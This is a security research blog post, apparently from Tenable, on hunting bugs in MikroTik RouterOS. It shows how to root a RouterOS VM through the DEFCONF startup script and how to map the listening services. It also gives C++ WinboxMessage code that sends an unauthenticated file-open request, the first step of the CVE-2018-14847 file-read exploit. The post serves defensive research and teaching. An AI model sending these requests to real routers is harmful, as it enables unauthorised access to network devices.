Professional Documents
Culture Documents
Make It Rain With MikroTik - Tenable TechBlog - Medium
Make It Rain With MikroTik - Tenable TechBlog - Medium
Jacob Baines
Feb 12 · 10 min read
Why would this matter to me? I gave a talk at Derbycon about hunting for bugs in
MikroTik’s RouterOS. I had a 9am Sunday time slot.
Acquiring Software
You don’t have to rush to Amazon to acquire a router. MikroTik makes RouterOS
ISOs available on their website. The ISO can be used to create a virtual host with
VirtualBox or VMWare.
You can also extract the system files from the ISO.
albinolobster@ubuntu:~/6.42.11$ 7z x mikrotik-6.42.11.iso
7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
Extracting advanced-tools-6.42.11.npk
Extracting calea-6.42.11.npk
Extracting defpacks
Extracting dhcp-6.42.11.npk
Extracting dude-6.42.11.npk
Extracting gps-6.42.11.npk
Extracting hotspot-6.42.11.npk
Extracting ipv6-6.42.11.npk
Extracting isolinux
Extracting isolinux/boot.cat
Extracting isolinux/initrd.rgz
Extracting isolinux/isolinux.bin
Extracting isolinux/isolinux.cfg
Extracting isolinux/linux
Extracting isolinux/TRANS.TBL
Extracting kvm-6.42.11.npk
Extracting lcd-6.42.11.npk
Extracting LICENSE.txt
Extracting mpls-6.42.11.npk
Extracting multicast-6.42.11.npk
Extracting ntp-6.42.11.npk
Extracting ppp-6.42.11.npk
Extracting routing-6.42.11.npk
Extracting security-6.42.11.npk
Extracting system-6.42.11.npk
Extracting TRANS.TBL
Extracting ups-6.42.11.npk
Extracting user-manager-6.42.11.npk
Extracting wireless-6.42.11.npk
Extracting [BOOT]/Bootable_NoEmulation.img
Everything is Ok
Folders: 1
Files: 29
Size: 26232176
Compressed: 26335232
MikroTik packages a lot of their software in their custom .npk format. There’s
a toolthat’ll unpack these, but I prefer to just use binwalk.
albinolobster@ubuntu:~/6.42.11$ ls -o ./_system-
6.42.11.npk.extracted/squashfs-root/
total 64
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 bin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 boot
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 dev
lrwxrwxrwx 1 albinolobster 11 Dec 21 04:18 dude -> /flash/dude
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 etc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 flash
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 home
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 initrd
drwxr-xr-x 4 albinolobster 4096 Dec 21 04:18 lib
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 nova
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 old
lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 pckg -> /ram/pckg
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 proc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 ram
lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 rw -> /flash/rw
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sbin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sys
lrwxrwxrwx 1 albinolobster 7 Dec 21 04:18 tmp -> /rw/tmp
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 usr
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 var
albinolobster@ubuntu:~/6.42.11$
Fortunately, I have a work around that will get us root. RouterOS will execute
anything stored in the /rw/DEFCONF file due the way the rc.d script S12defconf is
written.
A normal user has no access to that file, but thanks to the magic of VMs and Live CDs
you can create the file and insert any commands you want. The exact process takes
too many words to explain. Instead I made a video. The screen recording is five
minutes long and it goes from VM installation all the way through root telnet access.
Ever make a screen recording with no mistakes? Me neither.
With root telnet access you have full control of the VM. You can upload more tooling,
attach to processes, watch logs, etc. You’re now ready to explore the router’s attack
surface.
Is Anyone Listening?
You can quickly determine the network reachable attack surface thanks to
the ps command.
Looks like the router listens on some well known ports (HTTP, FTP, Telnet, and
SSH), but also some lesser known ports. btest on port 2000 is the bandwidth-
test server. mproxy on 8291 is the service that WinBox interfaces with. WinBox is an
administrative tool that runs on Windows. It shares all the same functionality as the
Telnet, SSH, and HTTP interfaces.
Hello, I load .dll straight off the router. Yes, that has been a problem. Why do you
ask?
There’s also an easy way to figure out which binaries I’m referring to. A list can be
found in each package’s /nova/etc/loader/*.x3 file. x3 is a custom file format so I
wrote a parser. The example output goes on for a while so I snipped it a bit.
albinolobster@ubuntu:~/routeros/parse_x3/build$ ./x3_parse -f
~/6.42.11/_system-6.42.11.npk.extracted/squashfs-
root/nova/etc/loader/system.x3
/nova/bin/log,3
/nova/bin/radius,5
/nova/bin/moduler,6
/nova/bin/user,13
/nova/bin/resolver,14
/nova/bin/mactel,15
/nova/bin/undo,17
/nova/bin/macping,18
/nova/bin/cerm,19
/nova/bin/cerm-worker,75
/nova/bin/net,20
...
The x3 file also contains each binary’s “SYS TO” identifier. This is the identifier that
the WinboxMessage protocol uses to determine where a message should be handled.
Getting Started
Let’s say I want to talk to /nova/bin/undo. Where do I start? Let’s start with some
code. I’ve written a bunch of C++ that will do all of the WinboxMessage
protocol formattingand session handling. I’ve also created a skeleton program that
you can build off of. main is pretty bare.
std::string ip;
std::string port;
if (!parseCommandLine(p_argc, p_argv, ip, port))
{
return EXIT_FAILURE;
}
Now, from the output above, you know that /nova/bin/undo has a SYS TO identifier
of 17. In order to reach undo, you need to update the code to create a message and set
the appropriate SYS TO identifier (the new part is bolded).
WinboxMessage msg;
msg.set_to(17);
Follow the offset to vtable that I’ve labeled undo_handler and you should see the
following.
This is the vtable for undo’s WinboxMessage handling. A bunch of the functions
directly correspond to the builtin commands I mentioned earlier (e.g. 0xfe0001 is
handled by nv::Handler::cmdGetPolicies ). You can also see I’ve highlighted the
unknown command function. Non-builtin commands get implemented there.
Since the non-builtin commands are usually the most interesting, you’re going to
jump into cmdUnknown . You can see it starts with a command based jump table.
It looks like the commands start at 0x80001. Looking through the code a bit,
command 0x80002 appears to have a useful string to test against. Let’s see if you can
reach the “nothing to redo” code path.
You need to update the skeleton code to request command 0x80002. You’ll also need
to add in the send and receive logic. I’ve bolded the new part.
WinboxMessage msg;
msg.set_to(17);
msg.set_command(0x80002);
msg.set_request_id(1);
msg.set_reply_expected(true);
winboxSession.send(msg);
msg.reset();
if (!winboxSession.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return EXIT_FAILURE;
}
if (msg.has_error())
{
std::cerr << msg.get_error_string() << std::endl;
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
After compiling and executing the skeleton you should get the expected, “nothing to
redo.”
albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i
10.0.0.104 -p 8291
req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]}
resp:
{uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to
redo',Uff0001:[],Uff0002:[17]}
nothing to redo
albinolobster@ubuntu:~/routeros/poc/skeleton/build$
If you look up to where nv::Handler* is loaded into edi then you’ll find the offset for
the handler’s vtable. This structure should look very familiar:
Again, I’ve highlighted the unknown command function. The unknown command
function for this handler supports seven commands:
Open a File
Let’s try to open a file in /home/web/webfig/ with command 7. This is the command
that the FIRST_PAYLOAD in the exploit-db screenshot uses. If you look at the
handling of command 7 in the code, you’ll see the first thing it looks for is a string
with the id of 1.
The string is the filename you want to open. What file in /home/web/webfig is
interesting?
The real answer is “none of them” look interesting. But list contains a list of the
installed packages and their version numbers.
Let’s translate the open file request into WinboxMessage. Returning to the skeleton
program, you’ll want to overwrite the set_to and set_command code. You’ll also want
to insert the add_string . I’ve bolded the new portion again.
WinboxMessage msg;
msg.set_to(2,2); // mproxy, second handler
msg.set_command(7);
msg.add_string(1, "list"); // the file to open
msg.set_request_id(1);
msg.set_reply_expected(true);
winboxSession.send(msg);
msg.reset();
if (!winboxSession.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return EXIT_FAILURE;
}
std::cout << "resp: " << msg.serialize_to_json() << std::endl;
When running this code you should see something like this:
albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i
10.0.0.104 -p 8291
req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]}
resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:
[2,2]}
albinolobster@ubuntu:~/routeros/poc/skeleton/build$
You can see the response from the server contains u2:1818. Look familiar?
As this is running quite long, I’ll leave the exercise of reading the file’s content up to
the reader. This very simple CVE-2018–14847 proof of concept contains all the hints
you’ll need.
Conclusion
I’ve shown you how to get the RouterOS software and root a VM. I’ve shown you the
attack surface and taught you how to navigate the system binaries. I’ve given you a
library to handle Winbox communication and shown you how to use it. If you want
to go deeper and nerd out on protocol minutiae then check out my talk. Otherwise,
you now know enough to be dangerous.